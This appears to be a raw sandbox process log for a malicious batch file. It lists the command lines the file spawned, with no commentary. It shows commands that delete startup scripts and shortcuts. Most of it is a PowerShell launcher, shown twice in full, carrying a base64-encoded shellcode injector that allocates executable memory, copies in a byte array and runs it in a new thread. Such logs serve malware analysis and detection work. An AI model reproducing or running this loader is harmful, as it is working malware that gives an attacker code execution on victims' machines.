C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe wmic startup

C:\Windows\System32\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" startup

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe cmd.exe /c del /"%appdata%//Microsoft//Windows//StartMenu//Programs//Startup//*.VBS/" /"%appdata%//*.CMD/"/"%appdata%//*.BAT/" /"%appdata%//*01/"/"%appdata%//Microsoft//Windows//StartMenu//Programs//Startup//*.lnk/"/"%allusersprofile%//Microsoft//Windows//StartMenu//Programs//Startup//*.lnk/" /F /Q"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe cmd.exe /c del /"C:\Users\Admin\AppData\Roaming//Microsoft//Windows//StartMenu//Programs//Startup//*.VBS/" /"C:\Users\Admin\AppData\Roaming//*.CMD/"/"C:\Users\Admin\AppData\Roaming//*.BAT/" /"C:\Users\Admin\AppData\Roaming//*01/"/"C:\Users\Admin\AppData\Roaming//Microsoft//Windows//StartMenu//Programs//Startup//*.lnk/"/"C:\ProgramData//Microsoft//Windows//StartMenu//Programs//Startup//*.lnk/" /F /Q

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c del /C:\Users\Admin\AppData\Roaming//Microsoft//Windows//StartMenu//Programs//Startup//*.VBS/ /C:\Users\Admin\AppData\Roaming//*.CMD//C:\Users\Admin\AppData\Roaming//*.BAT/ /C:\Users\Admin\AppData\Roaming//*01//C:\Users\Admin\AppData\Roaming//Microsoft//Windows//StartMenu//Programs//Startup//*.lnk//C:\ProgramData//Microsoft//Windows//StartMenu//Programs//Startup//*.lnk/ /F /Q

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tar -xvf C:\Users\Admin\AppData\Local\Temp\capture.tar -C C:\Users\Admin\AppData\Local\Temp\"

C:\Windows\system32\tar.exe

tar -xvf C:\Users\Admin\AppData\Local\Temp\capture.tar -C C:\Users\Admin\AppData\Local\Temp\

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5420 --field-trial-handle=1816,i,8678673026968587994,4936245398786248174,131072 /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\c1228d61b8c455d7a9cedc12a8279c05b92c944afd78b86a18c20c0c863b2e91.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -w 1 -C "sv kr -;sv TM ec;sv NC ((gv kr).value.toString()+(gv TM).value.toString());powershell (gv NC).value.toString() 'JABhAE8AcgBjACAAPQAgACcAJABOAEUAQwBFACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAE4ARQBDAEUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAYgBiACwAMAB4AGUAZAAsADAAeAAzAGEALAAwAHgAMgBmACwAMAB4ADAAZAAsADAAeABkAGEALAAwAHgAZAA4ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGUALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADMAMQAsADAAeAA1AGUALAAwAHgAMQAyACwAMAB4ADgAMwAsADAAeABlAGUALAAwAHgAZgBjACwAMAB4ADAAMwAsADAAeABiADMALAAwAHgAMwA0ACwAMAB4AGMAZAAsADAAeABmADgALAAwAHgAYgA3ACwAMAB4AGEAMQAsADAAeAA5AGUALAAwAHgAMAAzACwAMAB4ADQANwAsADAAeAAzADIALAAwAHgAYwAxACwAMAB4ADgAYQAsADAAeABhADIALAAwAHgAMAAzACwAMAB4AGQAMwAsADAAeABlADkALAAwAHgAYQA3ACwAMAB4ADMANgAsADAAeABlADMALAAwAHgANwBhACwAMAB4AGUANQAsADAAeABiAGEALAAwAHgAOAA4ACwAMAB4ADIAZgAsADAAeAAxAGQALAAwAHgAZgAyACwAMAB4ADcAMQAsADAAeABjADAALAAwAHgAYQBhACwAMAB4AGIAZQAsADAAeABhAGIALAAwAHgANQA0ACwAMAB4AGEANgAsADAAeAAxADYALAAwAHgAOAA1ACwAMAB4AGEAYQAsADAAeABlAGEALAAwAHgANQBiACwAMAB4ADgANAAsADAAeAA1ADYALAAwAHgAZgAwACwAMAB4ADgAZgAsADAAeAA2ADYALAAwAHgANgA2ACwAMAB4ADMAYgAsADAAeABjADIALAAwAHgANgA3ACwAMAB4AGEAZgAsADAAeAA4AGEALAAwAHgAYQA4ACwAMAB4ADgAOAAsADAAeAA3AGQALAAwAHgAOAA3ACwAMAB4ADAAMQAsADAAeAA0ADcALAAwAHgAZAA1ACwAMAB4ADEAYwAsADAAeABlADcALAAwAHgANQBiACwAMAB4AGQAOAAsADAAeABmADIALAAwAHgANgAzACwAMAB4AGUAMwAsADAAeABhADIALAAwAHgANwA3ACwAMAB4AGIAMwAsADAAeAA5ADAALAAwAHgAMQBlACwAMAB4ADcANgAsADAAeABlADQALAAwAHgAZAAyACwAMAB4AGMANwAsADAAeAA1ADgALAAwAHgANQA0ACwAMAB4AGUANAAsADAAeAAyADQALAAwAHgAMQAzACwAMAB4ADEAYwAsADAAeABmAGUALAAwAHgANABmACwAMAB4AGUAYQAsADAAeABlADkALAAwAHgAYwAyACwAMAB4ADcAZQAsADAAeAAxADMALAAwAHgANQA4ACwAMAB4AGIAMAAsADAAeABiADUALAAwAHgANgAwACwAMAB4ADUAYQAsADAAeAAxADAALAAwAHgAOAA0ACwAMAB4AGIANgAsADAAeABmADEALAAwAHgANQBkACwAMAB4ADIAOAAsADAAeAAzAGIALAAwAHgAMABiACwAMAB4ADkAOQAsADAAeAA4AGYALAAwAHgAYQAzACwAMAB4ADcAZQAsADAAeABkADEALAAwAHgAZgAzACwAMAB4ADUAZQAsADAAeAA3ADkALAAwAHgAMgAyACwAMAB4ADgAOQAsADAAeAA4ADQALAAwAHgAMABjACwAMAB4AGIANQAsADAAeAAyADkALAAwAHgANABmACwAMAB4AGIANgAsADAAeAAxADEALAAwAHgAYwBiACwAMAB4ADkAYwAsADAAeAAyADEALAAwAHgAZAAxACwAMAB4AGMANwAsADAAeAA2ADkALAAwAHgAMgA1ACwAMAB4AGIAZAAsADAAeABjAGIALAAwAHgANgBjACwAMAB4AGUAYQAsADAAeABiADUALAAwAHgAZgAwACwAMAB4AGUANQAsADAAeAAwAGQALAAwAHgAMQBhACwAMAB4ADcAMQAsADAAeABiAGQALAAwAHgAMgA5ACwAMAB4AGIAZQAsADAAeABkADkALAAwAHgANgA2ACwAMAB4ADUAMwAsADAAeABlADcALAAwAHgAOAA3ACwAMAB4AGMAOQAsADAAeAA2AGMALAAwAHgAZgA3ACwAMAB4ADYAMAAsADAAeABiADYALAAwAHgAYwA4ACwAMAB4ADcAMwAsADAAeAA4ADIALAAwAHgAYQAxACwAMAB4ADYAZAAsADAAeAA3AGMALAAwAHgANQBjACwAMAB4AGMAZQAsADAAeAAzADMALAAwAHgAZQBiACwAMAB4ADkAMAAsADAAeAAwADIALAAwAHgAYwBjACwAMAB4AGUAYgAsADAAeABiAGUALAAwAHgAMQA1ACwAMAB4AGIAZgAsADAAeABkADkALAAwAHgANgAxACwAMAB4ADgAZAAsADAAeAA1ADcALAAwAHgANQAyACwAMAB4AGUAOQAsADAAeAAwAGIALAAwAHgAYQBmACwAMAB4AGUAMwAsADAAeABmAGQALAAwAHgAYQBjACwAMAB4ADcAZgAsADAAeAA0AGIALAAwAHgANgBkACwAMAB4ADUAMwAsADAAeAA4ADAALAAwAHgAYQBjACwAMAB4AGEANwAsADAAeAA5ADcALAAwAHgAZAA0ACwAMAB4AGYAYwAsADAAeABkAGYALAAwAHgAMwBlACwAMAB4ADUANQAsADAAeAA5ADcALAAwAHgAMQBmACwAMAB4AGIAZgAsADAAeAA4ADAALAAwAHgAMAAyACwAMAB4ADIAYQAsADAAeAA1ADcALAAwAHgANgA0ACwAMAB4ADUAYQAsADAAeABlADUALAAwAHgAMQA0ACwAMAB4ADEAMgAsADAAeAA1AGUALAAwAHgAZgBhACwAMAB4ADUAYgAsADAAeAA1ADgALAAwAHgAZAA3ACwAMAB4ADEAYwAsADAAeAAwAGIALAAwAHgAYwBlACwAMAB4AGIAOAAsADAAeABiADAALAAwAHgAZQBiACwAMAB4AGIAZQAsADAAeAA3ADgALAAwAHgANgAxACwAMAB4ADgAMwAsADAAeABkADQALAAwAHgANwA2ACwAMAB4ADUAZQAsADAAeABiADMALAAwAHgAZAA2ACwAMAB4ADUAYwAsADAAeABmADcALAAwAHgANQA5ACwAMAB4ADMAOQAsADAAeAAwADkALAAwAHgAYQBmACwAMAB4AGYANQAsADAAeABhADAALAAwAHgAMQAwACwAMAB4ADMAYgAsADAAeAA2ADQALAAwAHgAMgBjACwAMAB4ADgAZgAsADAAeAA0ADEALAAwAHgAYQA2ACwAMAB4AGEANgAsADAAeAAzAGMALAAwAHgAYgA1ACwAMAB4ADYAOAAsADAAeAA0AGYALAAwAHgANAA4ACwAMAB4AGEANQAsADAAeAAxAGMALAAwAHgAYgBmACwAMAB4ADAANwAsADAAeAA5ADcALAAwAHgAOABhACwAMAB4AGMAMAAsADAAeABiAGQALAAwAHgAYgAyACwAMAB4ADMAMgAsADAAeAA1ADUALAAwAHgAMwBhACwAMAB4ADEANQAsADAAeAA2ADUALAAwAHgAYwAxACwAMAB4ADQAMAAsADAAeAA0ADAALAAwAHgANAAxACwAMAB4ADQAZQAsADAAeABiAGEALAAwAHgAYQA3ACwAMAB4AGQAYQAsADAAeAA0ADcALAAwAHgAMgBlACwAMAB4ADAAOAAsADAAeABiADQALAAwAHgAYQA3ACwAMAB4AGIAZQAsADAAeAA4ADgALAAwAHgANAA0ACwAMAB4AGYAZQAsADAAeABkADQALAAwAHgAOAA4ACwAMAB4ADIAYwAsADAAeABhADYALAAwAHgAOABjACwAMAB4AGQAYQAsADAAeAA0ADkALAAwAHgAYQA5ACwAMAB4ADEAOAAsADAAeAA0AGYALAAwAHgAYwAyACwAMAB4ADMAYwAsADAAeABhADMALAAwAHgAMgA2ACwAMAB4AGIANwAsADAAeAA5ADcALAAwAHgAYwBiACwAMAB4AGMANAAsADAAeABlAGUALAAwAHgAZAAwACwAMAB4ADUAMwAsADAAeAAzADYALAAwAHgAYwA1ACwAMAB4AGUAMAAsADAAeABhADgALAAwAHgAZQAxACwAMAB4ADIAMwAsADAAeAA5ADcALAAwAHgAYwAwACwAMAB4ADMAMQA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAYgBXAGgAPQAkAHcAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABnACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgACgAJAB6AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAGIAVwBoAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABiAFcAaAAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAGEATwByAGMAKQApADsAJABtAFYAbAAgAD0AIAAiAC0AZQBjACAAIgA7AGkAZgAoAFsASQBuAHQAUAB0AHIAXQA6ADoAUwBpAHoAZQAgAC0AZQBxACAAOAApAHsAJABXAHgAdgBxACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAFcAeAB2AHEAIAAkAG0AVgBsACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkAG0AVgBsACAAJABlACIAOwB9AA=='"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JABhAE8AcgBjACAAPQAgACcAJABOAEUAQwBFACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAE4ARQBDAEUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAYgBiACwAMAB4AGUAZAAsADAAeAAzAGEALAAwAHgAMgBmACwAMAB4ADAAZAAsADAAeABkAGEALAAwAHgAZAA4ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGUALAAwAHgAMwAxACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANABiACwAMAB4ADMAMQAsADAAeAA1AGUALAAwAHgAMQAyACwAMAB4ADgAMwAsADAAeABlAGUALAAwAHgAZgBjACwAMAB4ADAAMwAsADAAeABiADMALAAwAHgAMwA0ACwAMAB4AGMAZAAsADAAeABmADgALAAwAHgAYgA3ACwAMAB4AGEAMQAsADAAeAA5AGUALAAwAHgAMAAzACwAMAB4ADQANwAsADAAeAAzADIALAAwAHgAYwAxACwAMAB4ADgAYQAsADAAeABhADIALAAwAHgAMAAzACwAMAB4AGQAMwAsADAAeABlADkALAAwAHgAYQA3ACwAMAB4ADMANgAsADAAeABlADMALAAwAHgANwBhACwAMAB4AGUANQAsADAAeABiAGEALAAwAHgAOAA4ACwAMAB4ADIAZgAsADAAeAAxAGQALAAwAHgAZgAyACwAMAB4ADcAMQAsADAAeABjADAALAAwAHgAYQBhACwAMAB4AGIAZQAsADAAeABhAGIALAAwAHgANQA0ACwAMAB4AGEANgAsADAAeAAxADYALAAwAHgAOAA1ACwAMAB4AGEAYQAsADAAeABlAGEALAAwAHgANQBiACwAMAB4ADgANAAsADAAeAA1ADYALAAwAHgAZgAwACwAMAB4ADgAZgAsADAAeAA2ADYALAAwAHgANgA2ACwAMAB4ADMAYgAsADAAeABjADIALAAwAHgANgA3ACwAMAB4AGEAZgAsADAAeAA4AGEALAAwAHgAYQA4ACwAMAB4ADgAOAAsADAAeAA3AGQALAAwAHgAOAA3ACwAMAB4ADAAMQAsADAAeAA0ADcALAAwAHgAZAA1ACwAMAB4ADEAYwAsADAAeABlADcALAAwAHgANQBiACwAMAB4AGQAOAAsADAAeABmADIALAAwAHgANgAzACwAMAB4AGUAMwAsADAAeABhADIALAAwAHgANwA3ACwAMAB4AGIAMwAsADAAeAA5ADAALAAwAHgAMQBlACwAMAB4ADcANgAsADAAeABlADQALAAwAHgAZAAyACwAMAB4AGMANwAsADAAeAA1ADgALAAwAHgANQA0ACwAMAB4AGUANAAsADAAeAAyADQALAAwAHgAMQAzACwAMAB4ADEAYwAsADAAeABmAGUALAAwAHgANABmACwAMAB4AGUAYQAsADAAeABlADkALAAwAHgAYwAyACwAMAB4ADcAZQAsADAAeAAxADMALAAwAHgANQA4ACwAMAB4AGIAMAAsADAAeABiADUALAAwAHgANgAwACwAMAB4ADUAYQAsADAAeAAxADAALAAwAHgAOAA0ACwAMAB4AGIANgAsADAAeABmADEALAAwAHgANQBkACwAMAB4ADIAOAAsADAAeAAzAGIALAAwAHgAMABiACwAMAB4ADkAOQAsADAAeAA4AGYALAAwAHgAYQAzACwAMAB4ADcAZQAsADAAeABkADEALAAwAHgAZgAzACwAMAB4ADUAZQAsADAAeAA3ADkALAAwAHgAMgAyACwAMAB4ADgAOQAsADAAeAA4ADQALAAwAHgAMABjACwAMAB4AGIANQAsADAAeAAyADkALAAwAHgANABmACwAMAB4AGIANgAsADAAeAAxADEALAAwAHgAYwBiACwAMAB4ADkAYwAsADAAeAAyADEALAAwAHgAZAAxACwAMAB4AGMANwAsADAAeAA2ADkALAAwAHgAMgA1ACwAMAB4AGIAZAAsADAAeABjAGIALAAwAHgANgBjACwAMAB4AGUAYQAsADAAeABiADUALAAwAHgAZgAwACwAMAB4AGUANQAsADAAeAAwAGQALAAwAHgAMQBhACwAMAB4ADcAMQAsADAAeABiAGQALAAwAHgAMgA5ACwAMAB4AGIAZQAsADAAeABkADkALAAwAHgANgA2ACwAMAB4ADUAMwAsADAAeABlADcALAAwAHgAOAA3ACwAMAB4AGMAOQAsADAAeAA2AGMALAAwAHgAZgA3ACwAMAB4ADYAMAAsADAAeABiADYALAAwAHgAYwA4ACwAMAB4ADcAMwAsADAAeAA4ADIALAAwAHgAYQAxACwAMAB4ADYAZAAsADAAeAA3AGMALAAwAHgANQBjACwAMAB4AGMAZQAsADAAeAAzADMALAAwAHgAZQBiACwAMAB4ADkAMAAsADAAeAAwADIALAAwAHgAYwBjACwAMAB4AGUAYgAsADAAeABiAGUALAAwAHgAMQA1ACwAMAB4AGIAZgAsADAAeABkADkALAAwAHgANgAxACwAMAB4ADgAZAAsADAAeAA1ADcALAAwAHgANQAyACwAMAB4AGUAOQAsADAAeAAwAGIALAAwAHgAYQBmACwAMAB4AGUAMwAsADAAeABmAGQALAAwAHgAYQBjACwAMAB4ADcAZgAsADAAeAA0AGIALAAwAHgANgBkACwAMAB4ADUAMwAsADAAeAA4ADAALAAwAHgAYQBjACwAMAB4AGEANwAsADAAeAA5ADcALAAwAHgAZAA0ACwAMAB4AGYAYwAsADAAeABkAGYALAAwAHgAMwBlACwAMAB4ADUANQAsADAAeAA5ADcALAAwAHgAMQBmACwAMAB4AGIAZgAsADAAeAA4ADAALAAwAHgAMAAyACwAMAB4ADIAYQAsADAAeAA1ADcALAAwAHgANgA0ACwAMAB4ADUAYQAsADAAeABlADUALAAwAHgAMQA0ACwAMAB4ADEAMgAsADAAeAA1AGUALAAwAHgAZgBhACwAMAB4ADUAYgAsADAAeAA1ADgALAAwAHgAZAA3ACwAMAB4ADEAYwAsADAAeAAwAGIALAAwAHgAYwBlACwAMAB4AGIAOAAsADAAeABiADAALAAwAHgAZQBiACwAMAB4AGIAZQAsADAAeAA3ADgALAAwAHgANgAxACwAMAB4ADgAMwAsADAAeABkADQALAAwAHgANwA2ACwAMAB4ADUAZQAsADAAeABiADMALAAwAHgAZAA2ACwAMAB4ADUAYwAsADAAeABmADcALAAwAHgANQA5ACwAMAB4ADMAOQAsADAAeAAwADkALAAwAHgAYQBmACwAMAB4AGYANQAsADAAeABhADAALAAwAHgAMQAwACwAMAB4ADMAYgAsADAAeAA2ADQALAAwAHgAMgBjACwAMAB4ADgAZgAsADAAeAA0ADEALAAwAHgAYQA2ACwAMAB4AGEANgAsADAAeAAzAGMALAAwAHgAYgA1ACwAMAB4ADYAOAAsADAAeAA0AGYALAAwAHgANAA4ACwAMAB4AGEANQAsADAAeAAxAGMALAAwAHgAYgBmACwAMAB4ADAANwAsADAAeAA5ADcALAAwAHgAOABhACwAMAB4AGMAMAAsADAAeABiAGQALAAwAHgAYgAyACwAMAB4ADMAMgAsADAAeAA1ADUALAAwAHgAMwBhACwAMAB4ADEANQAsADAAeAA2ADUALAAwAHgAYwAxACwAMAB4ADQAMAAsADAAeAA0ADAALAAwAHgANAAxACwAMAB4ADQAZQAsADAAeABiAGEALAAwAHgAYQA3ACwAMAB4AGQAYQAsADAAeAA0ADcALAAwAHgAMgBlACwAMAB4ADAAOAAsADAAeABiADQALAAwAHgAYQA3ACwAMAB4AGIAZQAsADAAeAA4ADgALAAwAHgANAA0ACwAMAB4AGYAZQAsADAAeABkADQALAAwAHgAOAA4ACwAMAB4ADIAYwAsADAAeABhADYALAAwAHgAOABjACwAMAB4AGQAYQAsADAAeAA0ADkALAAwAHgAYQA5ACwAMAB4ADEAOAAsADAAeAA0AGYALAAwAHgAYwAyACwAMAB4ADMAYwAsADAAeABhADMALAAwAHgAMgA2ACwAMAB4AGIANwAsADAAeAA5ADcALAAwAHgAYwBiACwAMAB4AGMANAAsADAAeABlAGUALAAwAHgAZAAwACwAMAB4ADUAMwAsADAAeAAzADYALAAwAHgAYwA1ACwAMAB4AGUAMAAsADAAeABhADgALAAwAHgAZQAxACwAMAB4ADIAMwAsADAAeAA5ADcALAAwAHgAYwAwACwAMAB4ADMAMQA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAYgBXAGgAPQAkAHcAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABnACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgACgAJAB6AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAGIAVwBoAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABiAFcAaAAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAGEATwByAGMAKQApADsAJABtAFYAbAAgAD0AIAAiAC0AZQBjACAAIgA7AGkAZgAoAFsASQBuAHQAUAB0AHIAXQA6ADoAUwBpAHoAZQAgAC0AZQBxACAAOAApAHsAJABXAHgAdgBxACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAFcAeAB2AHEAIAAkAG0AVgBsACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkAG0AVgBsACAAJABlACIAOwB9AA==

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

